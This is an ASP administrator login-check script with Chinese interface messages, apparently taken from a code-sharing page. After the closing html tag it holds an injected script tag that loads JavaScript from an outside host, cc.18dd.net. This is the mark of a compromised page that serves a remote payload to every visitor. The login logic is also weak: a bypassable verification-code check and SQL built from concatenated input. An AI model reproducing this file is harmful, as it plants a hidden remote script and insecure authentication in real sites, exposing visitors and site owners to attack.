?? loginchk.asp
字號:
<!--#include file="conn.asp"-->
<!--#include file="md5.asp"-->
<%
s=Trim(Request.Form("s"))
s2=Request.Form("s2")
If s2<>s Then
Response.Write("<script language=javascript>alert('請輸入正確的認證碼!');this.location.href='login.asp';</script>")
Response.End
end if
user=replace(trim(request.form("user")),"'","''")
password=replace(trim(request.form("password")),"'","''")
if instr(user,"%") or instr(user,"#") or instr(user,"?") or instr(user,"|") then
response.write "<script language=javascript>alert('您的姓名含有非法字符!');this.location.href='login.asp';</script>"
response.end
end if '====================檢測姓名中是否含有非法字符
if instr(password,"%") or instr(password,"#") or instr(password,"?") or instr(password,"|") then
response.write "<script language=javascript>alert('您的密碼含有非法字符!');this.location.href='login.asp';</script>"
response.end
end if '====================檢測密碼中是否含有非法字符
sql="select * from admin where admin='"&user&"' and password='"&md5(password)&"'"
set rs=conn.execute(sql)
if rs.eof then
Response.Write("<script language=javascript>alert('管理員姓名和密碼錯誤!');this.location.href='login.asp';</script>")
Response.End
else
Session("admin")=user
session("flag")=rs("flag")
Response.Redirect("index.asp") '=================如果驗證成功剛引向管理員頁面
end if
conn.close
set conn=nothing
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>無標題文檔</title>
</head>
<body>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -